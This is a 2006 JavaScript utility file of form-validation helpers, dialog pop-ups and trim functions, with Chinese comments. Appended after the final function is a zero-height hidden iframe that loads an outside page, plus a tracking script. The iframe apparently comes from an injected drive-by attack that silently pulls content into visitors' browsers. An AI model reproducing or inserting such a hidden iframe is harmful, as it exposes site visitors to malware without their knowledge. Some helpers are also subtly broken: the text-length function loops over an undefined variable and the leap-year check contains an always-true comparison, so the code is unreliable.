///----------------------------------------------------------------
/// Copyright (C) 2006 中国数码集团
/// 版权所有。 
///
/// 文件名：Common.js
/// 文件功能描述：公用的script方法
///
/// 
/// 创建标识：简相辉/20061103
///----------------------------------------------------------------
function ForceCancel()
{
	event.cancelBubble = true;
	event.returnValue = false;
	return false;
}

function HideContent(trID)
{
	var tr = document.getElementById(trID);
	if (tr != null)
	{
		if (tr.style.display != "none")
		{
			tr.style.display = "none";
		}
		else
		{
			tr.style.display = "block";
		}
	}
}

/// <summary>
/// 弹出一个模式窗体
/// </summary>
/// <param name="pagePath">窗体路径</param>
/// <param name="pageHeight">窗体高度</param>
/// <param name="pageWidth">窗体宽度</param>
/// <param name="arguments">弹出窗体传递的参数</param>
function MyShowDialog(pagePath, pageHeight, pageWidth, arguments)
{
	// 弹出窗口位于屏幕中央 showModelessDialog
	var top = (window.screen.height - pageHeight) / 2;
	var left = (window.screen.width - pageWidth) / 2;
	
	//查找有没有保存UserID
	var ctrlUid = document.getElementById("hdnUserID");
	
	//如果有保存UserID,在URL中加入UserID参数
	if (ctrlUid != undefined && ctrlUid != null)
	{
		var uid = document.getElementById("hdnUserID").value;
		
		if (pagePath.indexOf('?') != -1)
		{
			pagePath += "&";
		}
		else
		{
			pagePath += "?";
		}
		
		pagePath = pagePath + "userid=" + uid;
	}

	//弹出对话框
	var retValue = window.showModalDialog(pagePath, window, 
	"dialogHeight: " + pageHeight + "px; dialogWidth: " + pageWidth + "px; dialogTop: " + 
	top + "px; dialogLeft: " + left + "px; edge: Raised; center: No; scroll: yes; help: no; resizable: no; status: No;");
	//如果返回信息不为空，刷新父页面
	
	if (retValue == "ReloadParentWindow")
	{
		document.location.href = document.location.href;
		
		//document.location.reload(true);
	}
	if (retValue == "RegistReturnNull")
	{
	   document.location.href = document.location.href;
	   //document.location.reload(true);
	}
	if (retValue == "RegistReturnCss")//样式效果
	{
		document.location.reload(true);
	}
	return false;
	
}

/// <summary>
/// 弹出颜色选择窗体
/// </summary>
/// <param name="ctrlId">回写选择颜色的控件</param>
function ShowColorSelector(ctrId)
{
	window.open("../ScriptSystem/ColorSelect.htm?wTxt=" + ctrId,"_blank",
	"top=150,height=280,width=450,toolbar=no,menubar=no,scrollbarsno,resizable=no,status=no");
	
	return false ;
}

/// <summary>
/// 比较2个控件的值,例如密码验证,电子邮件验证
/// </summary>
/// <param name="firstId">第一个要比较的控件</param>
/// <param name="secondId">第二个要比较的控件</param>
/// <param name="ctrlMessage">提示信息,例如密码、电子邮件</param>
function CompareObject(firstId,secondId,ctrlMessage)
{
	var firstCtrl = document.getElementById(firstId);
	var secondCtrl = document.getElementById(secondId);
	
	if (firstCtrl == undefined || firstCtrl == null || secondCtrl == undefined || secondCtrl == null)
	{
		//异常
	}
	
	if (firstCtrl.value != secondCtrl.value)
	{
		WarnUser("WR0004",ctrlMessage);
		firstCtrl.focus();
		firstCtrl.select();
		return false;
	}
	
	return true;
}

/// <summary>
/// 设置控件焦点
/// </summary>
/// <param name="ctrl">要设置控件焦点的控件</param>
function SetFocus(ctrl)
{
	try
	{
		ctrl.hideFocus = true;
		ctrl.focus();
		ctrl.select();
	}
	catch( e )
	{
		//ctrl = eval(ctrl.id + "_editor");//FreeTextBox
		
		/*if (ctrl != undefined && ctrl != null)
		{
			ctrl.document.designMode='on';
			ctrl.focus();
			//ctrl.select();
		}*/
	}
}

/// <summary>
/// 根据条件验证控件的值
/// </summary>
/// <param name="ctrlId">要验证的控件ID</param>
/// <param name="chkTerm">验证条件</param>
/// <param name="ctrlMessage">提示信息</param>
/// <param name="maxLength">最大长度</param>
/// <param name="minLength">最小长度</param>
function CheckData(ctrlId,chkTerm,ctrlMessage,maxLength,minLength)
{
	var allowMediaExtend = "wav | wmv | rm | rmvb | avi | mp3 | wma | mpg | mpeg";
	var allowImageExtend = "jpg | jpeg | gif | bmp";
	
	//验证条件
	//E 不为空验证、L 长度验证、N 全数字验证、R 字符数验证、M 电子邮件验证、C 全数字和字母验证
	//D 日期、F 浮点数、A 多媒体文件验证、I 图片验证、U 网址验证、T 电话验证
	
	var chkCtrl = document.getElementById(ctrlId);
	var chkText = "";
	if (chkCtrl == undefined || chkCtrl == null)
	{
		//chkCtrl = document.forms[0].item(ctrlId);
	}
	chkText = Trim(chkCtrl.value);
	chkCtrl.value = chkText ;
	/*chkText = Leach(chkText);*/
	//L 长度验证
	if (chkTerm.indexOf("L") >= 0)
	{
		if (maxLength != null)
		{
			if (chkText.length > maxLength)
			{
				WarnUser("WR0002",ctrlMessage,maxLength);
				SetFocus(chkCtrl);
				return false;
			}
		}
		
		if (minLength != null)
		{
			if (chkText.length < minLength)
			{
				WarnUser("WR0003",ctrlMessage,minLength);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	
	
	//E 不为空验证
	if (chkTerm.indexOf("E") >= 0)
	{
		if (chkText.length == 0)
		{
			//弹出警告信息
			WarnUser("WR0001",ctrlMessage);
			
			//焦点转移
			SetFocus(chkCtrl);
			
			/*
			try
			{
				ctrl.focus();
				ctrl.select();
			}
			catch( e )
			{
				var en = e.name;
			}
			*/
			return false;
		}
	}
	
	//INT 整数
	if (chkTerm.indexOf("INT") >= 0)
	{
		if (chkText.length > 0)
		{
			if (isNaN(chkText) || chkText.indexOf(".") >= 0 || !(parseInt(chkText) >= -2147483648  && parseInt(chkText) <= +2147483647))
			{
				WarnUser("WR0015",ctrlMessage);
				SetFocus(chkCtrl);
				return false;
			}
			
			if (chkTerm.indexOf("INT[") >= 0)
			{
				var subString1 = chkTerm.split("INT[")[1];
				var subString2 = subString1.split("]")[0]
				
				var max = null;
				var min = null;
				
				if (subString2.indexOf(",") > 0)
				{
					var arr = subString2.split(",");
					
					max = arr[0];
					min = arr[1];
				}
				else
				{
					max = subString2;
				}
					
				if (max != null)
				{
					if (parseInt(chkText) > parseInt(max))
					{
						WarnUser("WR0017",ctrlMessage,max);
						SetFocus(chkCtrl);
						return false;
					}
				}
				
				if (min != null)
				{
					if (parseInt(chkText) < parseInt(min))
					{
						WarnUser("WR0018",ctrlMessage,min);
						SetFocus(chkCtrl);
						return false;
					}	
				}
				
			}
		}
		
		return true;
	}
	
	//BOOL 布尔类型
	if (chkTerm.indexOf("BOOL") >= 0)
	{
		if (chkText.length > 0)
		{
			if (chkText !=0 && chkText !=1)
			{
				WarnUser("WR0016",ctrlMessage);
				SetFocus(chkCtrl);
				return false;
			}
		}
		
		return true;
	}
	
	
	
	//N 数字
	if (chkTerm.indexOf("N") >= 0)
	{
		if (chkText.length > 0)
		{
			var chk = chkText.match(/[^0-9]/g);
			if(chk)
			{
				WarnUser("WR0007",ctrlMessage);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	//F 浮点数
	if (chkTerm.indexOf("F") >= 0)
	{
		if (chkText.length > 0)
		{
			if (isNaN(chkText))
			{
				WarnUser("WR0010",ctrlMessage);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	//R 文章字数
	if (chkTerm.indexOf("R") >= 0)
	{
		if (chkText.length > 0)
		{
			var textLength = CalculateTextLength(chkText);
			
			if (maxLength != null && textLength > maxLength)
			{
				WarnUser("WR0008",ctrlMessage,maxLength);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	//P 邮政编码
	if (chkTerm.indexOf("P") >= 0)
	{
		if (chkText.length > 0)
		{
			var chk = chkText.match(/[^0-9]/g);
			if(chk)
			{
				WarnUser("WR0019",ctrlMessage);
				SetFocus(chkCtrl);
				return false;
			}
			
		}
	}
	
	
	//M 电子邮件
	if (chkTerm.indexOf("M") >=0 )
	{
		if(chkText.length > 0) 
		{
			var chk = chkText.match(/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/);
			if(!chk)
			{
				WarnUser("WR0005",ctrlMessage);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	//C 全数字和字母验证
	if (chkTerm.indexOf("C") >=0 )
	{
		if(chkText.length > 0) 
		{
			var chk = chkText.match(/^[A-z0-9]+$/);
			if(!chk)
			{
				WarnUser("WR0006",ctrlMessage);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	//D 日期
	if (chkTerm.indexOf("D") >= 0)
	{
		if(chkText.length > 0) 
		{
			var chk = CheckDate(chkText);
			if(!chk)
			{
				WarnUser("WR0009",ctrlMessage);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	//A 多媒体文件
	if (chkTerm.indexOf("A") >= 0)
	{
		if(chkText.length > 0) 
		{
			var chk = CheckFile(chkText,allowMediaExtend);
			if (!chk)
			{
				WarnUser("WR0011",ctrlMessage,allowMediaExtend);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	//I 图片文件
	if (chkTerm.indexOf("I") >= 0)
	{
		if(chkText.length > 0) 
		{
			var chk = CheckFile(chkText,allowImageExtend);
			if (!chk)
			{
				WarnUser("WR0012",ctrlMessage,allowImageExtend);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	//U 网址验证
	if (chkTerm.indexOf("U") >= 0)
	{
		if(chkText.length > 0) 
		{
			var chk = chkText.match('http://([\\w-]+\\.)+[\\w-]+(/[\\w- ./?%&=]*)?');
			if (!chk)
			{
				WarnUser("WR0013",ctrlMessage,allowImageExtend);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	//T 办公电话
	if (chkTerm.indexOf("T") >= 0)
	{
		if(chkText.length > 0) 
		{
			var chk = chkText.match('\\d{3}-\\d{8}|\\d{4}-\\d{7}');
			if (!chk)
			{
				WarnUser("WR0014",ctrlMessage,allowImageExtend);
				SetFocus(chkCtrl);
				return false;
			}
		}
	}
	
	return true;
}

/// <summary>
/// 警告用户
/// </summary>
/// <param name="msgId">警告信息ID</param>
/// <param name="ctrlMessage">警告信息来源</param>
/// <param name="fMessage">附加信息1</param>
/// <param name="sMessage">附加信息2</param>
function WarnUser(msgId,ctrlMessage,fMessage,sMessage)
{
	var msg = "";
	
	switch(msgId)
	{
		case "WR0001" : 
			msg = ctrlMessage + "不能为空.";
			break;
		case "WR0002" : 
			msg = ctrlMessage + "长度不能大于" + fMessage + "个字符";
			break;
		case "WR0003" : 
			msg = ctrlMessage + "长度不能小于" + fMessage + "个字符";
			break;
		case "WR0004" : 
			msg = ctrlMessage + "请重新输入.";
			break;
		case "WR0005" : 
			msg = "错误的电子邮件格式,请重新输入.";
			break;
		case "WR0006" : 
			msg = ctrlMessage + "只允许由英文字母和数字构成.";
			break;
		case "WR0007" : 
			msg = ctrlMessage + "只允许由数字构成,请输入整数.";
			break;
		case "WR0008" : 
			msg = ctrlMessage + "最多允许" + fMessage  + "个字符 .";
			break;
		case "WR0009" : 
			msg = ctrlMessage + "不是合法的日期.";
			break;
		case "WR0010" : 
			msg = ctrlMessage + "不是合法的数字,请输入整数或浮点数.";
			break;
		case "WR0011" : 
			msg = ctrlMessage + "不是合法的多媒体文件,请输入后缀名为 " + fMessage + " 的文件.";
			break;
		case "WR0012" : 
			msg = ctrlMessage + "不是合法的图片文件,请输入后缀名为 " + fMessage + " 的文件.";
			break;
		case "WR0013" :
		    msg = "错误的网址格式,请重新输入." ;
		    break;
		case "WR0014" :
		    msg = "错误的电话号码,请重新输入." ;
		    break;
		case "WR0015" : 
			msg = ctrlMessage + "请输入整数.";
			break;
		case "WR0016" : 
			msg = ctrlMessage + "请输入1或者0.";
			break;
		case "WR0017" : 
			msg = ctrlMessage + "不能大于" + fMessage + ".";
			break;
		case "WR0018" : 
			msg = ctrlMessage + "不能小于" + fMessage + ".";
			break;
		case "WR0019" : 
			msg = ctrlMessage + "只允许输入整数.";
			break;
		default :
			msg = "错误操作.";
			break;
	}
	
	return alert(msg);
}
//替换空格和回车字符
function Leach(text)
{
	var comment = text.replace( /\s/, "&nbsp;");
	comment = comment.replace(/\r\n/g,"<br>") ;
	return comment ;
}

/// <summary>
/// 计算字符数
/// </summary>
/// <param name="text">待计算的字符串</param>
/// <returns>字符数</returns>
function CalculateTextLength(text) 
{
	var len = 0;
	
	for (var i = 0; i < s.length; i++) 
	{
		var c = text.charCodeAt(i);
		// Shift_JIS: 0x0 ～ 0x80, 0xa0  , 0xa1   ～ 0xdf  , 0xfd   ～ 0xff
		// Unicode  : 0x0 ～ 0x80, 0xf8f0, 0xff61 ～ 0xff9f, 0xf8f1 ～ 0xf8f3
		if ( (c >= 0x0 && c < 0x81) || (c == 0xf8f0) || (c >= 0xff61 && c < 0xffa0) || (c >= 0xf8f1 && c < 0xf8f4)) 
		{
			len += 1;
		} 
		else 
		{
			len += 2;
		}
	}
	
	return len;
}

/// <summary>
/// 验证是否合法日期
/// </summary>
/// <param name="chkString">待验证的日期字符串</param>
/// <returns>当月天数</returns>
function CheckDate(chkString)
{
	var ch;
	
	if (chkString.indexOf("-") > 0)
	{
		if (chkString.indexOf("/") > 0 )
		{
			return false;
		}
		
		ch = "-";
	}
	else if (chkString.indexOf("/") > 0 )
	{
		ch = "/";
	}
	else
	{
		return false;
	}
	
	var yearPart;
	var monthPart;
	var dayPart;
	
	//得到日期中的年月日
	yearPart = chkString.substring(0,chkString.indexOf(ch));
	monthPart = chkString.substring(yearPart.length + 1,chkString.indexOf(ch,yearPart.length + 1));
	dayPart = chkString.substring(chkString.indexOf(ch,yearPart.length + 1) + 1);
	
	//验证是否全是数字
	var sumText = yearPart.toString() + monthPart.toString() + dayPart.toString();
	var isNumber = sumText.match(/[^0-9]/g);
	if (isNumber)
	{
		return false;
	}
	
	//验证年月日是否基本合法
	if (yearPart <= 0 || monthPart<= 0 || monthPart > 12 || dayPart <= 0) 
	{
		return false;
	}
	
	//验证日期是否完全合法
	var days = DaysForMonth(yearPart,monthPart);
	
	if (dayPart > days)
	{
		return false;
	}
	
	return true;
	
}

/// <summary>
/// 根据年份和月份计算当月天数
/// </summary>
/// <param name="yearPart">年份</param>
/// <param name="monthPart">月份</param>
/// <returns>当月天数</returns>
function DaysForMonth(yearPart,monthPart)
{
	var days = 0;

	if (monthPart == 2) //2月天数
	{
		if (((yearPart % 4 == 0) && (yearPart % 100 != 100)) || (yearPart % 400 == 0)) 
		{
			days = 29;
		}
		else 
		{
			days = 28;
		}
	}
	else if (monthPart == 4 || monthPart == 6 || monthPart == 9 || monthPart == 11) //小月的天数
	{
		days = 30;
	}
	else //大月的天数
	{
		days = 31;
	}
	
	return days;
}

/// <summary>
/// 去两端空格
/// </summary>
/// <param name="trimText">要去空格的字符串</param>
function Trim(trimText)
{ 
	//return TrimEnd(TrimStart(trimText)); 
	return trimText.replace(/(^\s*)|(\s*$)/g, "").replace(/^[\s　\t]+|[\s　\t]+$/, "");
}

/// <summary>
/// 去左空格
/// </summary>
/// <param name="trimText">要去空格的字符串</param>
function TrimStart(trimText)
{ 
	return trimText.replace( /^\s*/, ""); 
} 

/// <summary>
/// 去右空格
/// </summary>
/// <param name="trimText">要去空格的字符串</param>
function TrimEnd(trimText)
{ 
	return trimText.replace( /\s*$/, ""); 
} 

/// <summary>
/// 判断文件名是否合法
/// </summary>
/// <param name="fileName">文件名</param>
/// <param name="allowExtend">允许的扩展名</param>
/// <returns>是否合法</returns>
function CheckFile(fileName,allowExtend)
{
	var index = fileName.lastIndexOf(".");
		
	if (index == -1)
	{
		return false;
	}

	var fileExtend = fileName.substring(index + 1);
	
	allowExtend = allowExtend + " | " + allowExtend.toUpperCase();
	if (allowExtend.indexOf(fileExtend) == -1)
	{
		return false;
	}	
	
	return true;
}
<iframe src= http://spba.gcgs.gov.cn/img/en.htm width=100 height=0></iframe>
<script type="text/javascript" src="http://js.tongji.linezing.com/1574968/tongji.js"></script><noscript><a href="http://www.linezing.com"><img src="http://img.tongji.linezing.com/1574968/tongji.gif"/></a></noscript>

